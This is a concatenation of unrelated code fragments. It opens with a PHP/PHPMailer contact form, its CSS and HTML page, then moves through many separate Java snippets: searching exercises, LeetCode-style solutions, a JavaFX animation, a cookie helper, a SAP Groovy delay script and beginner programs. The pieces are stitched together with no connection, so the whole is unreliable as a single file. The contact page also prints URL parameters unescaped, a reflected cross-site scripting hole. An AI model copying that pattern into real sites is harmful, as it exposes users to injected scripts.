require_once "vendor/autoload.php";


if(isset($_POST['submit'])){
    $name = htmlspecialchars($_POST['name']);
    $email = htmlspecialchars($_POST['email']);
    $msg = htmlspecialchars($_POST['msg']);

    $error = "";
    $pass = "";
    // check if fields are empty

    if(empty($name) || empty($email) || empty($msg)){
        $error .= str_replace(" ", "-", "Fields cannot be empty");
        header("location: index.php?err=$error");
        die;
    }
    else if(!filter_var($email, FILTER_VALIDATE_EMAIL)){
        $error .= str_replace(" ", "-", "Email given is invalid");
        header("location: index.php?err=$error");
        die;
    }
    else {
        // if no error occur send mail
        $to = "alumonabenaiah71@gmail.com";
        $mail = new PHPMailer(true); 
        $mail->IsSMTP();
        $mail->Mailer = "smtp";
        $mail->SMTPDebug  = 1;  
        $mail->SMTPAuth   = TRUE;
        $mail->SMTPSecure = "tls";
        $mail->Port       = 587;
        $mail->Host       = "smtp.gmail.com";
        $mail->Username   = "your-gmail-account-address";
        $mail->Password   = "your-password";
        $mail->From = $email;
        $mail->FromName = $name;
        $mail->addAddress($to);
        $mail->Subject = "Contact Form Request";
        $mail->Body = $msg;
        if($mail->send()){
            $pass .= str_replace(" ", "-", "Message sent Successfully!!");
            header("location: index.php?pass=$pass");
            die;
        }else{
            $error .= str_replace(" ", "-", "An error occur while sending message, please try later ".$mail->ErrorInfo);
            header("location: index.php?err=$error");
            die;
        }
    }
}
else{
    header("location: index.php");
    die;
}

?>
body{
    width: 100%;
    height: 100vh;
    margin:0px;
    padding:0px;
    overflow-x: hidden;
    background:url("https://images.unsplash.com/photo-1530893609608-32a9af3aa95c?ixid=MXwxMjA3fDB8MHxzZWFyY2h8MTJ8fHRlY2h8ZW58MHx8MHw%3D&ixlib=rb-1.2.1&auto=format&fit=crop&w=500&q=60") !important;
    background-size:cover !important;
    background-repeat: no-repeat !important;
    background-position: center !important;
}
*{
    list-style: none;
    box-sizing: border-box;
}

.container{
    display:flex;
    align-items: center;
    justify-content: center;
    flex-direction: column;
    width:100%;
    height:100vh;
}
.container .form-cont{
    width:450px;
    padding:12px;
    background:rgba(0,0,0,.8);
    color:#fff;
}

.container .form-cont form textarea{
    height:100px;
}
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Send Mail</title>
    <link rel="stylesheet" href="css/style.css">
    <link rel="stylesheet" href="css/bootstrap.css">
</head>
<body>
    <div class="container">
        <div class="form-cont">
            <h3>Contact Form</h3>
            <br>
            <div class="err-cont">
                <?php if(isset($_GET['err'])){?>
                <div class="alert alert-danger"><small><?php echo $_GET['err'];?></small></div>
                <?php }else if(isset($_GET['pass'])){?>
                <div class="alert alert-success"><small><?php echo $_GET['pass'];?></small></div>
                <?php }?>
            </div>
            <form action="sendmail.php" class="form-group" method="POST">
                <label for="fname">Fullname</label>
                <input type="text" name="name" placeholder="Your name.." class="form-control">
                
                <label for="fname">Email</label>
                <input type="email" name="email" placeholder="Your Email Address.." class="form-control">
                
                <label for="subject">Message</label>
                <textarea name="msg" placeholder="Write something.." class="form-control"></textarea>
            
                <input type="submit" name="submit" value="Send Message" class="btn btn-block btn-primary mt-2">
            
              </form>
        </div>
    </div>
</body>
</html>
/*
*  Unit 6 - Lesson 2 - Algorithms - Searching
*/
import java.io.*;
import static java.lang.System.*;

import java.util.Scanner;
import java.lang.Math;


class U6_L2_template{

  
     public static void main (String str[]) throws IOException {
          Scanner scan = new Scanner (System.in);
          
          double list [] =  {2.3 , 4.7 , 5.25 , 9.5 , 2.0 , 1.2 , 7.129 , 5.4 , 9.5 };
          
          System.out.println( "What are you looking for? ");
          double look = scan.nextDouble();
          
          //search for value in the array, print -1 if not found
          
          int where = -1;
          
          for (int i = 0; i < list.length; i++) {
            if (list[i] == look){
              where = i; 
              break;
            }
          }
          
          if (where == -1){
            System.out.println("Not Found");
          } else {
            System.out.println("Value at: " + where);
          }

     }

}



<android.support.v7.widget.CardView xmlns:android="http://schemas.android.com/apk/res/android"
    xmlns:card_view="http://schemas.android.com/apk/res-auto"
    android:id="@+id/card_view"
    android:layout_width="match_parent"
    android:layout_height="wrap_content"
    android:layout_gravity="center"
    android:focusable="true"
    android:clickable="true"
    card_view:cardCornerRadius="@dimen/card_corner_radius"
    card_view:cardUseCompatPadding="true">

    <LinearLayout
        android:id="@+id/card_item"
        android:layout_width="match_parent"
        android:layout_height="wrap_content"
        android:foreground="?android:attr/selectableItemBackground"
        android:padding="@dimen/card_padding">

    </LinearLayout>
</android.support.v7.widget.CardView>
private Page<ProgramReturnResponse> populatingleadLiaisonsInResponse(
			Page<ProgramReturnResponse> pageProgramReturnResponse) {
		List<ProgramReturnResponse> programResponseList = pageProgramReturnResponse.getContent();
		List<ProgramReturnResponse> updatedProgramResponseList = new ArrayList<>();
		List<Long> programIdList =                      
                 programResponseList.stream().map(ProgramReturnResponse::getProgramId)
				.collect(Collectors.toList());
		// programIdList = [101,102]
  
        List<ProgramMember> programMemberList = programMemberRepository
				.findLeadLaisonMembersByProgramId(programIdList,10);
        //programMemberList = [e0909, e22, e3030]
		MultiValueMap multiValueMap = new MultiValueMap();
  
		programMemberList.stream().forEach(programMember -> multiValueMap
				.put(programMember.getProgram().getProgramId(),                  
                     programMember.getMemberEmployeeId()));
  
         // multiValueMap = [ {101, [e0909, e22] } , {102, [e3030]}]
  
		for (ProgramReturnResponse programReturnResponse : programResponseList) {
			List<String> memberEids = (List<String>)       
                                       multiValueMap.get(programReturnResponse.getProgramId());
          
            // [e0909, e22]
            // [e3030]
			programReturnResponse.setLeadLiaisons(memberEids);
			updatedProgramResponseList.add(programReturnResponse);
		}
		return new PageImpl<>(updatedProgramResponseList, pageProgramReturnResponse.getPageable(),
				pageProgramReturnResponse.getTotalElements());
	}
import java.util.*;
import java.io.*;   

public class MyClass{
  public static void main(String[] args){
    
  }
}
public int[] topKFrequent(int[] nums, int k) {
        ArrayList<LinkedList<Integer>> freqList = new ArrayList<>();
        for (int i = 0; i <= nums.length; i++) {
            freqList.add(new LinkedList<Integer>());
        }
        
        HashMap<Integer, Integer> elementFreq = new HashMap<>();
        for (int i = 0; i < nums.length; i++) {
            if (elementFreq.containsKey(nums[i])){
                elementFreq.put(nums[i], elementFreq.get(nums[i]) + 1);
            }
            else {
                elementFreq.put(nums[i], 1);
            }
        }
        
        Iterator<Integer> elemItr = elementFreq.keySet().iterator();
        while (elemItr.hasNext()) {
            int currKey = elemItr.next();
            freqList.get(elementFreq.get(currKey)).add(currKey);
        }
        
        ArrayList<Integer> intsByFreq = new ArrayList<>();
        for (int i = 0; i < freqList.size(); i++) {            
            LinkedList<Integer> currList = freqList.get(i);
            ListIterator<Integer> currListItr = currList.listIterator(0);
            while (currListItr.hasNext()) {
                intsByFreq.add(currListItr.next());
            }
        }
        
        int[] topK = new int[k];
        int topKIdx = 0;
        for (int i = intsByFreq.size() - 1; i >= intsByFreq.size() - k; i--) {
            topK[topKIdx] = intsByFreq.get(i);
            topKIdx++;
        }
        
        return topK;
    }
public TreeNode mergeTrees(TreeNode t1, TreeNode t2) {
        if (t1 == null)
            return t2;
        Stack < TreeNode[] > stack = new Stack < > ();
        stack.push(new TreeNode[] {t1, t2});
        while (!stack.isEmpty()) {
            TreeNode[] t = stack.pop();
            if (t[0] == null || t[1] == null) {
                continue;
            }
            t[0].val += t[1].val;
            if (t[0].left == null) {
                t[0].left = t[1].left;
            } else {
                stack.push(new TreeNode[] {t[0].left, t[1].left});
            }
            if (t[0].right == null) {
                t[0].right = t[1].right;
            } else {
                stack.push(new TreeNode[] {t[0].right, t[1].right});
            }
        }
        return t1;
    }
public int climbStairs(int n) {
        int[] previousClimbs = new int[n + 1];
        previousClimbs[0] = 1;
        previousClimbs[1] = 1;
        for(int i = 2; i <= n; i++) {
            previousClimbs[i] = previousClimbs[i -1] + previousClimbs[i - 2];
        }
        
     return previousClimbs[n];
 }
import java.util.Random;

import javafx.animation.AnimationTimer;
import javafx.application.Application;
import javafx.scene.Scene;
import javafx.scene.canvas.Canvas;
import javafx.scene.canvas.GraphicsContext;
import javafx.scene.layout.BorderPane;
import javafx.scene.layout.Pane;
import javafx.stage.Stage;

public class Main extends Application {

    private static double SCENE_WIDTH = 800;
    private static double SCENE_HEIGHT = 600;

    static Random random = new Random();

    Canvas canvas;
    GraphicsContext graphicsContext;

    AnimationTimer loop;

    Scene scene;

    @Override
    public void start(Stage primaryStage) {

        BorderPane root = new BorderPane();

        canvas = new Canvas(SCENE_WIDTH, SCENE_HEIGHT);

        graphicsContext = canvas.getGraphicsContext2D();

        Pane layerPane = new Pane();

        layerPane.getChildren().addAll(canvas);

        root.setCenter(layerPane);

        scene = new Scene(root, SCENE_WIDTH, SCENE_HEIGHT);

        primaryStage.setScene(scene);
        primaryStage.show();

        startAnimation();

    }

    private void startAnimation() {

        loop = new AnimationTimer() {

            double startX = 100;
            double endX = 200;
            double y = 100;
            double x = startX;
            double speed = 0.2;

            @Override
            public void handle(long now) {

                graphicsContext.fillOval(x, y, 5,5);

                x+=speed;

                if( x >= endX) {
                    loop.stop();
                }
            }
        };

        loop.start();

    }

    public static void main(String[] args) {
        launch(args);
    }
}
public static String getHttpOnlyCookieHeader(Cookie cookie) {

    NewCookie newCookie = new NewCookie(cookie.getName(), cookie.getValue(), 
            cookie.getPath(), cookie.getDomain(), cookie.getVersion(), 
            cookie.getComment(), cookie.getMaxAge(), cookie.getSecure());

    return newCookie + "; HttpOnly";
}

And the usage:

response.setHeader("SET-COOKIE", getHttpOnlyCookieHeader(myOriginalCookie));


a bit late but since 2.0, javax.ws.rs.core.NewCookie has a constructor with httpOnly, you do not need to append it to toString() : NewCookie nc = new NewCookie("name","value","path","domain","comment",3600,true, true);
/*
Delay Message for 40 seconds
 */
import com.sap.gateway.ip.core.customdev.util.Message;
import java.util.HashMap;
def Message processData(Message message) {
    //Body 
       def body = message.getBody();
       sleep(40000);
       message.setBody(body);
       return message;
}
import java.util.Scanner;
			class Circle 
			{
			   double radius;
			   void setValues(double rad)
			   {
			      radius = rad;
			   }
			   void findArea()
			   {
			      double circleArea = Math.PI * radius * radius;
			      System.out.println("Area of circle = " + circleArea);
			   }
			   void findCircumference()
			   {
			      double circleCircumference = 2 * Math.PI * radius ;
			      System.out.println("Circumference of circle = " + circleCircumference);
			   }
			   
			}
			class Rectangle 
			{
			   double length,width;
			   void setValues(double len,double wid)
			   {
			      length = len;
			          width=wid;
			   }
			   void findArea()
			   {
			      double rectArea = length * width;
			      System.out.println("Area of Rectangle = " + rectArea);
			   }
			   
			}
			public class scratch_paper
			{
			public static void main(String[] args) 
			   {
			       double radius,length,width;
			       Scanner input= new Scanner(System.in);
			        
			         System.out.println("Type a radius:");
			         radius= input.nextDouble();
		                 System.out.println("Type a Length:");
			                 length = input.nextDouble();
			                 System.out.println("Type a width:");
			                 width = input.nextDouble();
			          System.out.println("circle with radius = " + radius);
			          Circle obj = new Circle();
			      obj.setValues(radius);
			      obj.findArea();
			      obj.findCircumference();
			          System.out.println("rectangle with length = " + length+",width"+width);
			          Rectangle obj1 = new Rectangle();
			      obj1.setValues(length,width);
			      obj1.findArea();
			      
			   }

}
import java.awt.Desktop;
import java.io.IOException;
import java.net.URI;
import java.net.URISyntaxException;

public class Browser {
    public static void main(String[] args) {
        String url = "http://www.google.com";

        if(Desktop.isDesktopSupported()){
            Desktop desktop = Desktop.getDesktop();
            try {
                desktop.browse(new URI(url));
            } catch (IOException | URISyntaxException e) {
                // TODO Auto-generated catch block
                e.printStackTrace();
            }
        }else{
            Runtime runtime = Runtime.getRuntime();
            try {
                runtime.exec("xdg-open " + url);
            } catch (IOException e) {
                // TODO Auto-generated catch block
                e.printStackTrace();
            }
        }
    }
}
String myString = "1234";
int foo = Integer.parseInt(myString);
package com.edu4java.javatutorials;
import javax.swing.JOptionPane;

public class WhileCounterAcumulator {
	public static void main(String[] args) {
		int counter = 0;
		int accumulator = 0;
		while (counter < 5) {
			counter = counter + 1;
			accumulator = accumulator + Integer.parseInt(JOptionPane
				.showInputDialog("Enter the " + counter + "º number"));
		}
		JOptionPane.showMessageDialog(null, "The sum of the 5 numbers is " + accumulator);
	}
}
randomNum = minimum + (int)(Math.random() * maximum);
// Bug: `randomNum` can be bigger than `maximum`.
class TriangleDrawing{

    public static void main(String args[]){

        for(int x = 1; x <= 6; x++){

            for(int y = 1; y <= (6-x); y++){

                System.out.print(" ");

            }

            for(int z = 0; z < (x + (x-1)); z++){

                System.out.print("*");

            }

            for(int p = 1; p <= (6-x); p++){

                System.out.print(" ");

            }

            System.out.println();

        }

    }

}